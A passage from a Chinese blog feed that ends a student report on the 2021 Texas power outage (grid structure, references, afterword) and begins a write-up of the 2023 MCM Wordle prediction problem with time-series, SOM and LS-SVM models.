id="（四）附：其他分析">（四）附：其他分析</h4><p>        回溯整个事件，美国作为经济强国，但只有“世界第三”级别的电网结构。同时，美国电网基础设施建设严重不足，部分政客不断推行新能源发电，但是并网支出分配不均加重开发商负担，导致可再生能源发电装机增速远不及脱碳需求。得州的停电事故，反映了调度机构对于发电机组的可调电力电量评估存在缺陷。</p><p>        同样处于美国中南部地区，SPP和MISO这2个区域电网由于与其他区域电网之间有较强的联络线连接、存在较为充分的功率交换，在此次极寒天气中，电力系统受到的影响较轻；而ERCOT则遭受了沉重的打击。其中一个重要原因是ERCOT仅有略超100万千瓦的直流联络线与外网相连。一正一反两个案例，使跨区电网的作用价值不辩自明。而近年来美国电网面临输电网投资不足、可再生能源消纳困难、电网安全可靠性有待提高等问题。 美国输电网投资不足、建设缓慢。美国输电网投资自上世纪70年代以来一直裹足不前，而且长期滞后于电力需求和发电容量的增长。由于输电投资水平低，跨州、跨区电网联系薄弱，输电能力不足，造成了输电瓶颈， 使拥有廉价电的州无法送至电力缺乏的州，所以美国亟须建设新的输电线路。美国输电网投资不足的原因包括两方面，一是跨州输电项目建设需要多个州的监管部门同意，有时还要多个联邦政府部门同意，审批程序复杂、审批时间长、获得批准难；二是输电项目投资回报低、建设周期长，与其他领域相比缺乏投资吸引力，影响了输电项目建设资金的筹集。</p><p>        ERCOT如果不采取负荷轮停措施，得州或将酿成更大范围的停电事故，而一旦发生大停电，部分黑启动机组由于缺乏天然气燃料，将无法有效发挥黑启动的功能，后果将变得更为严重。这为电力系统的规划、运行提供了启示，即需要适度增加天然气等燃料储备，尤其对于黑启动机组的燃料储备。同时，应适度增加配置长时间储能设施，如季节性储能、氢储能等，以应对极端天气下长时间的容量缺额和电量不足风险。但是除FERC活动外，迄今为止，美国涉及储能的联邦政策已被限制，涉及储能的大多数政策行动都处于州一级。国家一级的政策行动包括制定采购任务、制定激励措施，以及要求将储能纳入长期规划机制。</p><p>        新能源发电方面，《光伏未来研究》报告是美国能源部与美国国家可再生能源实验室共同发布的。其中指出，到2035年，如果要实现95%零碳电网目标的话，美国至少需要10亿千瓦的光伏装机容量；而达成净零排放目标，到2050年美国需要至少 30 亿千瓦的光伏装机。届时，美国光伏产业将满足全国至少 40%的电力供给。2020 年，美国全年实际上仅新增了1500万千瓦光伏装机，截至2020年底，美国累计光伏装机总量仅占全美电力供应总量的3%左右，远不及目标所需。能源互联网的特征之一是不同能源形式之间的深度融合。此次得州的停电事故，揭示了电力系统与天然气系统这2个重要基础设施之间的耦合程度日益加深，亟待研究二者之间深层次相互影响机理。</p><p>        复杂的分布式管理加上美国联邦体制下难以整合形成协调统一的全国性电网。美国实行自由竞争的市场经济体制，美国电网建立在私有化基础上，由不同所有权属的电网逐步互联发展起来，由于输电网产权分散、难以整合，至今难以形成全国性电网。美国联邦政治体制下，各州电网监管权限大，而联邦职责有限， 电网发展主要由各州主导，各州更多从各自利益出发，很难实现从全国能源布局及资源优化配置高度统筹规划电网发展。</p><p>        美国电网经过百年发展，1950年代就基本定型，70年代后得建设投资就已经陷入停滞状态。受制于“散装电网”的州绝不止得州一家，整个美国的电力系统都是分散个体的集合体。此外，市场利润的下滑以及动辄十年的项目审批建设时间都导致了私人企业在供电这个事关国计民生大事上的漠不关心。当然也没有企业愿意关心基础电力设施的维修、完善以及更新等。早在2014年，美国前能源部部长比尔·理查森已经在强调：“如果希望尽快享受到电力多样化的优势，美国必须抓紧整理电网结构，尤其是太阳能和风能。”同时，他也看到中国特高压输电技术这一项超前的输电技术，但是事实上像美国这样以利润最大化作为追求目标，同时牺牲公共风险，这种因为体制原因所带来的一系列问题是无法仅仅通过学习、效仿技术解决的<sup>[18]</sup>。</p><p>        尽管大额花销、政治障碍等问题尚待解决，但改善破旧的电网系统已经势在必行，美国必须坚定地展开行动。就像美国前总统艾森豪威尔大手一挥，发展跨州高速公路一样，华盛顿必须保证国内拥有可靠而高效的电力系统，避免老旧低效的电网成为阻碍美国经济和产业发展的“绊脚石”。由此看来，美国的电网系统还有很长一段路要走。</p><h3 id="八、参考资料">八、参考资料</h3><p>[1] 51878_ERCOT_Letter_re_Preliminary_Report_on_Outage_Causes <a href="https://www.ercot.com/files/docs/2021/04/06/51878_ERCOT_Letter_re_Preliminary_Report_on_Outage_Causes.pdf">https://www.ercot.com/files/docs/2021/04/06/51878_ERCOT_Letter_re_Preliminary_Report_on_Outage_Causes.pdf</a></p><p>[2] 应急管理部办公厅关于印发《生产安全事故调查报告编制指南（试行）》的通知 <a href="https://www.mem.gov.cn/gk/zfxxgkpt/fdzdgknr/202303/t20230316_444990.shtml">https://www.mem.gov.cn/gk/zfxxgkpt/fdzdgknr/202303/t20230316_444990.shtml</a></p><p>[3] 张晓萱,马莉.各自为政的美国电网[J].国家电网,2014(03):74-76.</p><p>[4] ISO/RTO COUNCIL – Coming together to create a smarter &amp; stronger North American power grid <a href="https://isorto.org/">https://isorto.org/</a></p><p>[5] Electric Reliability Council of Texas <a href="https://www.ercot.com/">https://www.ercot.com/</a></p><p>[6] ML11231A769 <a href="https://www.nrc.gov/docs/ML1123/ML11231A769.pdf">https://www.nrc.gov/docs/ML1123/ML11231A769.pdf</a></p><p>[7] 2021-Winter-Storm-Uri-AAR-Findings-Report <a href="https://www.austintexas.gov/sites/default/files/files/HSEM/2021-Winter-Storm-Uri-AAR-Findings-Report.pdf">https://www.austintexas.gov/sites/default/files/files/HSEM/2021-Winter-Storm-Uri-AAR-Findings-Report.pdf</a></p><p>[8] Close to 70 dead in states with severe winter weather: report | The Hill <a href="https://thehill.com/homenews/state-watch/539751-as-temperatures-expected-to-warm-approximately-70-dead-from-severe/">https://thehill.com/homenews/state-watch/539751-as-temperatures-expected-to-warm-approximately-70-dead-from-severe/</a></p><p>[9] Texas water shortage adds to power crisis as new winter storm moves in <a href="https://www.nbcnews.com/news/us-news/texas-contending-water-nightmare-top-power-crisis-n1258208">https://www.nbcnews.com/news/us-news/texas-contending-water-nightmare-top-power-crisis-n1258208</a></p><p>[10] 2021 Texas power crisis - Wikipedia <a href="https://en.wikipedia.org/wiki/2021_Texas_power_crisis">https://en.wikipedia.org/wiki/2021_Texas_power_crisis</a></p><p>[11] Assessment-of-Energy-System-Reliability-Failures-During-the-Extreme-Cold-Weather-Event-in-the-ERCOT-Region-PDF <a href="https://assets.jsheld.com/uploads/Assessment-of-Energy-System-Reliability-Failures-During-the-Extreme-Cold-Weather-Event-in-the-ERCOT-Region-PDF.pdf">https://assets.jsheld.com/uploads/Assessment-of-Energy-System-Reliability-Failures-During-the-Extreme-Cold-Weather-Event-in-the-ERCOT-Region-PDF.pdf</a></p><p>[12] February 2021 Extreme Weather Event <a href="https://www.ercot.com/news/february2021">https://www.ercot.com/news/february2021</a></p><p>[13] Field study shows icing can cost wind turbines up to 80% of power production – ScienceDaily <a href="https://www.sciencedaily.com/releases/2021/03/210304161058.htm">https://www.sciencedaily.com/releases/2021/03/210304161058.htm</a></p><p>[14] The February 2021 Cold Weather Outages in Texas and the South Central United States | FERC, NERC and Regional Entity Staff Report | Federal Energy Regulatory Commission <a href="https://www.ferc.gov/media/february-2021-cold-weather-outages-texas-and-south-central-united-states-ferc-nerc-and">https://www.ferc.gov/media/february-2021-cold-weather-outages-texas-and-south-central-united-states-ferc-nerc-and</a>)</p><p>[16] The freeze in Texas exposes America’s infrastructural failings | The Economist <a href="https://www.economist.com/united-states/2021/02/17/the-freeze-in-texas-exposes-americas-infrastructural-failings">https://www.economist.com/united-states/2021/02/17/the-freeze-in-texas-exposes-americas-infrastructural-failings</a></p><p>[15] Report on outages and curtailments during the Southwest cold weather event <a href="https://cmsstage.ferc.gov/sites/default/files/2020-07/OutagesandCurtailmentsDuringtheSouthwestColdWeatherEventofFebruary1-5-2011.pdf">https://cmsstage.ferc.gov/sites/default/files/2020-07/OutagesandCurtailmentsDuringtheSouthwestColdWeatherEventofFebruary1-5-2011.pdf</a></p><p>[17] The Texas Electric Grid Failure Was a Warm-up – Texas Monthly <a href="https://www.texasmonthly.com/news-politics/texas-electric-grid-failure-warm-up/">https://www.texasmonthly.com/news-politics/texas-electric-grid-failure-warm-up/</a></p><p>[18] 比尔·理查森,王林. 中国特高压——美国电网的救赎[N]. 中国能源报,2014-01-20(009).</p><h3 id="九、后记">九、后记</h3><p>        本次报告的完成，首先需要感谢我的父母，LYH、ZYB、GXM同学等，他们提供了部分相关想法建议。同时，高电压技术教师ZWT以及研究生学长LW对于本次报告部分格式和内容的勘误也使本次报告更加完善。再次对能够阅读本报告并提出建议的有关人士表达衷心的谢意！</p><p>        再者，我想感谢我的电力系统继电保护II课程的任课教师LX，通过这次作业，我阅读了很多关于美国电力系统历史的资料。同时，相比于事故调查报告、这份报告更像是事故调查综述。想要了解更多信息可以阅读FERC、NERC以及6所区域可靠性机构（Midwest Reliability Organization, Northeast Power Coordinating Council, ReliabilityFirst Corporation, SERC Corporation, Texas Reliability Entity and Western Electricity Coordinating Council）共同组成的调查委员会于美国当地时间2021年11月16日发布的长达316页的停电事故分析报告（见参考资料第14条）。在官方报告中有细节到电力单元的事故报告，比如4%的故障是由极端低温、冻雨天气直接造成的，31%的故障与发电机组的燃料密切相关。还有21%为与低温相关的机组内部机械系统、电气系统故障，如系统零部件在低温下发生的脆裂；仅有2%的故障是与输配电系统相关的电网侧故障等等关于事故更详细的信息。</p><p>        第二次世界大战结束后，美国的制造业曾经达到近全球制造业的50%。制造业曾经是美国经济的支柱，但近年来面临着许多挑战，如国际竞争、技术变革和全球化等。因此，美国经济逐渐向服务业和科技业等高附加值领域转移。但是近年来美国对于各种产品的金融化、高端化导致轻工业和加工产业，工业产业链不完整，生产加工和一部分工业转移到亚洲。虽然高新技术产业以及服务业全球领先，但是大多数重工业产业空心化，这种整体的产业结构目前来看属于亚健康的状态。资本导向性质严重的美国如果不加强建设基础设施、加快完善整体产业链，那么一旦受到任何外部因素的影响导致高附加值产业削弱，最终叫苦的只能是美国的普通人民。相比之下，中国目前大力发展实体经济，稳健发展金融，要实现国内大循环的战略就是为了规避这种产业结构偏科所造成的风险，创造更多的就业机会的同时不断创新和改进技术，以提高生产效率和产品质量，从而保持竞争力。这种技术进步不仅有利于实体经济本身的发展，也可以带动整个经济的技术进步。在防止经济区域分化和产业集中度过高的同时，为国家的经济发展带来更多机遇和挑战。</p>]]></content>
    
    
    <summary type="html">2021年德州大停电小调查</summary>
    
    
    
    <category term="电气工程" scheme="https://blog.alexation.cn/categories/%E7%94%B5%E6%B0%94%E5%B7%A5%E7%A8%8B/"/>
    
    
    <category term="电力系统" scheme="https://blog.alexation.cn/tags/%E7%94%B5%E5%8A%9B%E7%B3%BB%E7%BB%9F/"/>
    
  </entry>
  
  <entry>
    <title>2023 MCM Problem C Predicting Wordle Results</title>
    <link href="https://blog.alexation.cn/competition/MCM/"/>
    <id>https://blog.alexation.cn/competition/MCM/</id>
    <published>2023-02-06T10:05:26.000Z</published>
    <updated>2025-11-23T06:22:49.491Z</updated>
    
    <content type="html"><![CDATA[<h1 style="text-align:center;font-weight:700;"><em>2023 MCM Problem C: Predicting Wordle Results</em></h1><img src="https://img.alexation.cn/blog/post/competition/MCM/1.png" style="zoom:80%;" /><h2 id="一、问题介绍">一、问题介绍</h2><h3 id="背景">背景</h3><p>Wordle 是纽约时报目前每天提供的流行拼图。 玩家尝试通过在六次或更少的尝试中猜测一个五个字母的单词来解决这个难题，每次猜测都会收到反馈。对于这个版本，每个猜测都必须是一个实际的英语单词。 不被比赛识别为单词的猜测是不允许的。 Wordle 越来越受欢迎，该游戏的版本现已支持 60 多种语言。</p><p>纽约时报网站上的 Wordle 说明中介绍，在您提交单词后，图块的颜色会发生变化。 黄色方块表示该方块中的字母在单词中，但位置错误。 绿色方块表示该方块中的字母在单词中并且位于正确的位置。 灰色方块表示该方块中的字母根本不包含在单词中（见附件 2）[2]。 图 1 是一个示例解决方案，其中在三次尝试中找到了正确的结果。</p><img src="https://img.alexation.cn/blog/post/competition/MCM/2.png" style="zoom: 50%;" /><p>玩家可以在常规模式或“困难模式”下玩。 Wordle 的困难模式要求玩家一旦在单词中找到正确的字母（方块为黄色或绿色），就必须在随后的猜测中使用这些字母，从而使游戏变得更加困难。 图 1 中的示例是在困难模式下运行的。</p><p>许多（但不是全部）用户在 Twitter 上报告他们的分数。 针对这个问题，MCM 生成了一份 2022 年 1 月 7 日至 2022 年 12 月 31 日的每日结果文件（见附件 1）。 此文件包括日期、比赛编号、当天的单词、当天报告分数的人数、困难模式下的玩家人数以及一次、两次、三次、四次猜中单词的百分比 、五次尝试、六次尝试或无法解决难题（用 X 表示）。 例如图2中2022年7月20日的词是“TRITE”，结果是通过挖掘推特得到的。 尽管图 2 中的百分比总和为 100%，但在某些情况下，由于四舍五入的原因，这可能并非如此。</p><img src="https://img.alexation.cn/blog/post/competition/MCM/3.png" style="zoom:50%;" /><h3 id="要求">要求</h3><p>《纽约时报》要求您对本文件中的结果进行分析，以回答几个问题。</p><ul><li>报告结果的数量每天都在变化。 开发一个模型来解释这种变化，并使用您的模型为 2023 年 3 月 1 日的报告结果数创建一个预测区间。是否存在单词的一些属性会影响报告在困难模式下游玩的分数的百分比？ 如果是这样，是什么？ 如果不是，为什么不呢？</li><li>对于未来日期的给定未来解决方案词，开发一个模型，使您能够预测报告结果的分布。 换句话说，预测未来日期 (1, 2, 3, 4, 5, 6, X) 的相关百分比。 哪些不确定性与您的模型和预测相关？ 举一个你对 2023 年 3 月 1 日 EERIE 这个词的预测的具体例子。你对你的模型的预测有多自信？</li><li>开发并总结一个模型来按难度对解决方案单词进行分类。 识别与每个分类关联的给定词的属性。 使用您的模型，EERIE 这个词有多难？ 讨分类模型的准确性。</li><li>列出并描述这个数据集的其他一些有趣的特征。</li></ul><p>最后，用一到两页的信总结你的结果给纽约时报的拼图编辑。</p><p>总页数不超过 25 页的 PDF 解决方案应包括：</p><ul><li>一页摘要表。</li><li>目录。</li><li>您的完整解决方案。</li><li>一到两页的信件。</li><li>参考文献列表。</li></ul><p>注意：MCM 竞赛有 25 页的限制。 您提交的所有方面都计入 25 页的限制（摘要表、目录、报告、参考列表和任何附录）。您必须为您的想法、图像和报告中使用的任何其他材料引用来源。</p><h3 id="附件">附件</h3><ol><li><p>数据文件。Problem C Data Wordle.xlsx</p><p>附加的数据文件包含您应对此问题使用的唯一数据。 这个问题所需的所有信息都在问题陈述和数据文件中给出。您无需访问纽约时报网站或 Twitter 网站。 在这些站点上找不到其他信息。</p><p>数据文件条目说明：</p><ul><li>日期：给定 Wordle 谜题的 mm-dd-yyyy（月-日-年）格式的日期。</li><li>赛号：Wordle拼图索引，2022年1月7日202开头。</li><li>单词：玩家试图猜测有关于相关日期和比赛编号的单词。</li><li>报告结果数：当天在推特上记录的总分数。</li><li>Hard mode Number：当天在推特上记录的Hard mode分数。</li></ul><p>1 次尝试：玩家一次猜出谜题的百分比。<br>2 次尝试：玩家在两次猜测中解决难题的百分比。<br>3 次尝试：玩家在三次猜测中解决难题的百分比。<br>4 次尝试：玩家在四次猜测中解决难题的百分比。<br>5 次尝试：玩家在五次猜测中解决难题的百分比。<br>6 次尝试：玩家在六次猜测中解决难题的百分比。<br>7 次或更多次尝试 (X)：在 6 次或更少的情况下无法解决难题的玩家百分比尝试。 注：由于四舍五入，百分比之和可能并不总是 100%。</p></li><li><p>《纽约时报》网站上发布的 Wordle 说明。[2]</p></li></ol><img src="https://img.alexation.cn/blog/post/competition/MCM/4.png" style="zoom: 33%;" /><h3 id="词汇表">词汇表</h3><p>纽约时报：一份位于美国纽约州纽约市的日报，有印刷版和在线版。</p><p>Twitter：一个社交网站，允许用户广播不超过 280 个字符的短文（从最初的 140 个字符增加）。</p><p>解决（Wordle 难题）：以正确的顺序输入正确的字母，形成当天的 Wordle 单词。</p><h3 id="参考">参考</h3><p>注意：我们提供以下引用来支持问题陈述。 我们从这些资源中提取了重要的想法。 这些网站上没有解决此 MCM 问题所需的其他信息。 无需访问纽约时报或 Twitter 网站即可解决此问题。</p><p>[1] 来自纽约时报网站的 Wordle 标志。 于 2022 年 12 月 13 日访问 <a href="https://nytco-assets.nytimes.com/2022/08/cropped-Screen-Shot-2022-08-24-at-8.49.39-AM.png%E3%80%82">https://nytco-assets.nytimes.com/2022/08/cropped-Screen-Shot-2022-08-24-at-8.49.39-AM.png。</a></p><p>[2] “世界 - 纽约时报”。 《纽约时报》，2022 年。2022 年 12 月 13 日访问 <a href="https://www.nytimes.com/games/wordle/index.html%E3%80%82">https://www.nytimes.com/games/wordle/index.html。</a></p><p>[3] “世界 - 纽约时报”。 《纽约时报》，2022 年 7 月 21 日。</p><p>[4] “世界统计”。 推特，2022 年 7 月 20 日</p><h2 id="二、问题分析">二、问题分析</h2><ol><li>报告结果的数量每天都在变化。 开发一个模型来解释这种变化，并使用您的模型为 2023 年 3 月 1 日的报告结果数创建一个预测区间。是否存在单词的一些属性会影响报告在困难模式下游玩的分数的百分比？ 如果是这样，是什么？ 如果不是，为什么不呢？</li><li>对于未来日期的给定未来解决方案词，开发一个模型，使您能够预测报告结果的分布。 换句话说，预测未来日期 (1, 2, 3, 4, 5, 6, X) 的相关百分比。 哪些不确定性与您的模型和预测相关？ 举一个你对 2023 年 3 月 1 日 EERIE 这个词的预测的具体例子。你对你的模型的预测有多自信？</li><li>开发并总结一个模型来按难度对解决方案单词进行分类。 识别与每个分类关联的给定词的属性。 使用您的模型，EERIE 这个词有多难？ 讨分类模型的准确性。</li><li>列出并描述这个数据集的其他一些有趣的特征。</li></ol><h3 id="问题一">问题一</h3><p>Q1：报告结果的数量每天都在变化。 开发一个模型来解释这种变化，并使用您的模型为 2023 年 3 月 1 日的报告结果数创建一个预测区间。是否存在单词的一些属性会影响报告在困难模式下游玩的分数的百分比？ 如果是这样，是什么？ 如果不是，为什么不呢？</p><h5 id="1-简单数据清洗">1.简单数据清洗</h5><ul><li>单词长度不为五(contest number)：525、314、545</li><li>报告数量单个变化浮动过大(contest number)：529</li><li>部分单词拼写错误：naïve修改为naive、marxh修改为march</li><li>概率超百(contest number)：281</li></ul><img src="https://img.alexation.cn/blog/post/competition/MCM/5.png" alt="报告数量随时间变化" style="zoom: 67%;" /><h5 id="2-数据分析">2.数据分析</h5><p>通过对前期数据的分析，我们发现每天分享评分的人数变化符合生命周期发展的规律。 我们使用经验模态分解（EMD）将共享分数的人数分解为一系列相对稳定的分量，以减少不同特征信息之间的交互作用； 然后，采用具有误差改进机制的时间序列预测（ARIMA）方法，建立各分量的预测模型，对各分量进行预测并修正误差； 计算各分量的预测误差的平均值，得到各分类的预测区间值。 最后将各分量的预测区间结果相加，得到共享分数人数的预测区间值。</p><p>报告游戏玩家人数序列具有较强的非线性、非平稳性与随机性，因此我们利用EMD技术在非平稳数据处理中的突出优势，建立了一种基于EMD-灰色神经网络的未来三个月内报告游戏玩家人数的预测模型。</p><p>首先对报告游戏玩家人数序列进行EMD分解，使其产生一系列不同尺度的IMF分量，实现报告游戏玩家人数序列平稳化。然后针对各分量特点选取最优的模型参数和核函数，分别建立适合自身的灰色神经网络预测模型。最后将各分量的预测值叠加得到报告游戏玩家人数预测值。</p><p>对实验样本报告游戏玩家人数序列进行EMD分解，逐个分离出相应的IMF分量，通过给出终止条件作为迭代终止的依据。从图3可以看出，原本的非线性报告游戏玩家人数序列被分解为4个波动较小的时间序列分量IMF(C1—C4)分量和1个剩余分量r5。根据不同IMF分量的自身特点，分别建立时间序列预测模型，将分解后的子序列分别带入灰色神经网络预测模型中，对各个子序列趋势进行预测。</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/6.png" alt="图3 EMD分解图"></p><p>处理后的每日结果文件共354组数据，我们去掉前面影响较大的前154个数据，即本文以2022年后200组每日实际为实验数据样本。该模型输入样本第155组-304组报告游戏玩家人数，50组报告游戏玩家人数为测试样本，预测后三个月的报告游戏玩家人数。</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/7.png" alt=""></p><p>上图为时间序列分量IMF(C1—C4)分量和1个剩余分量r5预测结果对比图。从图中可以观察到EMD- 灰色神经网络预测模型后50组报告分数玩家人数预测值与实际值误差区间较小，吻合较好，这表明使用EMD法对报告分数玩家人数进行分解能够在一定程度上提高报告分数玩家人数预测的准确性。</p><p>通过预测方法获得预测结果后，本文采用平均绝对百分误差（MAPE），根均方误差、平均绝对误差（MAE）、绝对误差标准差（AESD）这几个误差指标来评价预测效果：</p><table><thead><tr><th></th><th><em>MAPE</em></th><th><em>RMSE</em></th><th><em>MAE</em></th><th><em>AESD</em></th></tr></thead><tbody><tr><td>Imf1</td><td>1.666</td><td>847.857</td><td>1147.857</td><td>718.758</td></tr><tr><td>Imf2</td><td>2.893</td><td>550.036</td><td>1550.036</td><td>1051.340</td></tr><tr><td>Imf3</td><td>33.470</td><td>383.1953</td><td>383.195</td><td>329.780</td></tr><tr><td>Imf4</td><td>1.499</td><td>413.086</td><td>413.086</td><td>218.585</td></tr><tr><td>Residual</td><td>0.133</td><td>993.881</td><td>2893.881</td><td>2402.859</td></tr></tbody></table><p>MAPE、RMSE、MAE越小，表示预测精度越高；AESD越小，表示模型的预测平稳性越好。</p><p>由以上指标得出，我们可以看出该模型预测效果良好，可以用来预测未来三个月报告游戏玩家人数，我们将时间序列分量IMF(C1—C4)分量和1个剩余分量r5累加起来，即得到最终预测图。</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/8.png" alt=""></p><p>由上述预测图，我们可以看出未来一月到三月Wordle玩家人数逐渐减少。这一现象与之前在社交媒体上就有许多Wordle玩家发文表示，他们认为被《纽约时报》买下后的Wordle每天要猜的单词太过于生僻，质疑《纽约时报》增加了游戏的难度，是一致的。Wordle每天要猜的单词难度加大，影响了玩家的体验，玩家热情消退。受到种种因素影响，玩家对Wordle词汇游戏的热情下降，游戏热度下降也是必然的趋势。现在已经开始出现了这样的苗头。</p><h3 id="问题二">问题二</h3><p>Q2：对于未来日期的给定未来解决方案词，开发一个模型，使您能够预测报告结果的分布。 换句话说，预测未来日期 (1, 2, 3, 4, 5, 6, X) 的相关百分比。 哪些不确定性与您的模型和预测相关？ 举一个你对 2023 年 3 月 1 日 EERIE 这个词的预测的具体例子。你对你的模型的预测有多自信？</p><h4 id="1-方法概述">1.方法概述</h4><p>我们把一个单词的属性大致分为6类：单词词频、单词前缀、单词后缀、单词词根、单词字母、重复字母。</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/9.png" alt=""></p><p>采取自组织映射神经网络从每日结果文件中提取价值信息，研究每个单词各种属性的指标。SOM是一种无监督人工神经网络，由于对大数据集有优秀的处理和解释能力，本文采用自组织映射神经网络以及机器学习和模式识别领域常用的K均值聚类算法，通过对每日结果文件的每个单词属性指标的相关性分析和聚类分析。</p><p><strong>单词被使用频率</strong>：通过查询人们日常对于英文单词使用情况，我们发现有的单词会被经常性的使用到，那么这些单词更容易才游戏过程中被想到并被猜对。因此我们选则单词日常被使用频率作为其中一项属性指标。</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/10.png" alt=""></p><p>其中，<em>P</em>1 <em>i</em>表示第<em>i</em>个单词在日常生活中被使用到的频率，a1 <em>i</em>表示单词频率属性指标。</p><p><strong>含有高频前缀</strong>：英语单词中部分词汇是经过前缀添加而构成的，通过添加前缀改变单词意思。单词中相同前缀出现的概率较大，人们在猜词时会优先想到熟悉的前缀，例如：co、exo、di、re、tri等。因此我们采用单词中含有高频前缀的概率作为其属性之一。</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/11.png" alt=""></p><p>其中，<em>q1 m</em>表示第<em>m</em>个前缀在词库中被使用到的频率，<em>bi 1jm</em>表示第m个前缀在第i个单词中出现状态，出现则为1，否则为0。</p><p><strong>含有高频后缀</strong>：以前缀原理相似，单词中同样含有大量的后缀，许多后缀在人们日常生活中被使用，例如：et、fy、id、tic等。因此我们采用单词中含有高频后缀的概率作为其属性之一。</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/12.png" alt=""></p><p>其中，<em>q1 m</em>表示第<em>m</em>个后缀在词库中被使用到的频率。</p><p><strong>含有高频词根</strong>：词根在英文单词中具有实质含义，可单独成为一个字，也可搭配前缀和后缀组成词。因此我们采用单词中含有高频词根的概率作为其属性之一。</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/13.png" alt=""></p><p><strong>含有相同位置字母的概率</strong>：在本游戏中，玩家在进行第一次猜词后，会根据提示进行第二次猜词，猜测词与答案词在相同位置字母相同则提示为绿色。而高频词汇往往被首先猜测，与高频词汇在相同位置上字母重复越高的词汇，往往会被根据提示首先猜出。因此我们设置单词与高频词汇相同位置重复的字母概率作为其属性值一：</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/14.png" alt=""></p><p><strong>含有不同位置字母的概率</strong>：玩家在进行第一次猜词后，会根据提示进行第二次猜词，猜测词与答案词含有同样的字母，但字母位置不同时则提示为黄色。因此我们设置单词与高频词汇相同位置重复的字母概率作为其属性值一：</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/15.png" alt=""></p><p><strong>含有重复字母的个数</strong>：困难模式下，单词中含有重复字母的个数将会加大选手通关的难度，五个字母的单词最多含有5个重复字母，最少不含有重复字母。对单词中含有重复字母的个数属性建模如下：</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/16.png" alt=""></p><p>​其中，<em>mi</em>表示第<em>i</em>个单词中含有重复字母的个数，a4 <em>i</em>表示第<em>i</em>个单词的重复字母个数属性指标。</p><h4 id="2-自组织映射（SOM）模型">2.自组织映射（SOM）模型</h4><p>采用自组织映射神经网络结合K均值聚类算法对单词属性指标进行相关性分析和聚类分析。自组织映射（self-organizing map, SOM）是一种竞争学习型的无监督神经网络，如下图所示。其使用无监督训练将高维输入数据映射到低维空间，同时保留输入数据在高维空间的拓扑结构，即将高维空间中相似的样本点映射到二维输出层中的邻近神经元，因此被广泛应用于数据降维。</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/17.png" alt=""></p><p>SOM网络中的输出层神经元以矩阵方式排列在二维空间中，每个神经元具有与之相连接的权向量，在接收到一个训练样本后，每个输出层神经元会计算该样本与自身携带的权向量间的距离，距离最近的神经元成为竞争获胜者，称为最佳匹配单元（best matching unit, BMU）。然后，最佳匹配单元及其邻近神经元的权向量将被重新调整，以缩小权向量与当前样本的距离。此过程不断迭代，直至收敛。</p><p>K均值算法（k-means clustering）是流行于数据挖掘领域的聚类算法。其步骤是预先随机选取K个对象作为初始聚类中心，随后计算每个对象与各个聚类中心的距离，将每个对象分配到最近的聚类中心，聚类中心及其分配的对象代表一个聚类。一旦全部对象完成分配，每个聚类的聚类中心会根据聚类中现有的的对象被重新计算。此过程不断重复直至聚类中心不再变化。</p><h4 id="3-结果分析">3.结果分析</h4><p>我们对最终模型分析出的单词属性（单词被使用频率、含有高频前缀、含有高频后缀、含有高频词根、含有相同位置字母的概率、含有不同位置字母的概率、含有重复字母的个数）的结果进行相关性分析，如下图所示：</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/18.png" alt=""></p><p>相关性：0.1-0.3，相关性较弱；0.3-0.6，相关性一般；＞0.6，相关性较强。</p><p>根据上图，我们可以看出，含有相同位置字母的概率的单词属性相关性较强，当我们得到Wordle反馈绿色时，即该字母存在而且位置正确，玩家会自动关联想到含有相同位置的字母的单词，猜中单词的正确率高。单词被使用频率这一单词属性相关性还可以，说明单词使用频率越高，玩家做游戏时越容易想到，当天单词答案为使用高频词时，玩家的通关率高。含有重复字母的个数这一单词属性呈现负相关，即单词重复字母阅读，单词难度更大，更不易猜中，通关难度更大。</p><h3 id="问题三">问题三</h3><p>Q3：开发并总结一个模型来按难度对解决方案单词进行分类。 识别与每个分类关联的给定词的属性。 使用您的模型，EERIE 这个词有多难？ 讨分类模型的准确性。</p><h4 id="1-方法概述-2">1.方法概述</h4><p><img src="https://img.alexation.cn/blog/post/competition/MCM/19.png" alt=""></p><h4 id="2-最小二乘支持向量机-LS-SVM">2.最小二乘支持向量机(LS-SVM)</h4><p>支持向量机法（SVM）是一种可训练的机器学习方法，可解决模式识别问题，并具有较好的泛化功能。最小二乘支持向量机(LS-SVM)是对SVM的改进。设l个训练样本集{<em>xi</em>*，*<em>yi</em> } ( 1 2, ,<em>l</em> )，其中，<em>xi</em> ∈ <em>Rn</em>为输入值，<em>yi</em>为输出值。将样本<em>xi</em>从<em>Rn</em>映射到特征空间<em>ϕ(xi)</em> ，则估计函数为</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/20.png" alt=""></p><p>LS-SVM与SVM均能解决非线性问题，但最小二乘支持向量机具有更快的求解速度，且所需的计算资源较少。</p><h4 id="3-BCC算法">3.BCC算法</h4><p>细菌在所处的环境中都存在感知极限，BCC 算法是一种新的群体智能算法，在细菌趋药性(bacterical chemotaxis，BC)算法的基础上建立起的个体细菌间的信息交互 BC 算法，根据单个细菌的运动不断感知周围环境的变化，利用过去的经验寻找最优点，具有较强的鲁棒性。BCC 算法根据单个细菌对化学诱剂的应激反应和细菌群落间的位置信息交互进行优化，在保留个体细菌搜索能力较强的基础上改善了收敛速度。同时，与其他智能算法相比，局部搜索能力更强，且占用的系统资源更少。BCC 算法步骤如下：</p><ol><li>初始化细菌群体数以及细菌个体的位置和对外界环境的感知极限。</li><li>在初始条件下，计算细菌个体的目标函数；确定并记录目前的最优值。</li><li>菌株 <em>j</em> 进入第 <em>k</em> 步，感知周围的信息，确定其他细菌的中心位置，其中，中心位置能在外界环境的感知极限中获得较好的目标函数值。</li><li>通过单一菌株 BC 算法，进入第 <em>k</em> 步菌株 <em>j</em>得到另一位置。</li><li>比较这2个位置上的目标函数值，在第 <em>k</em> +1 步，菌株 j 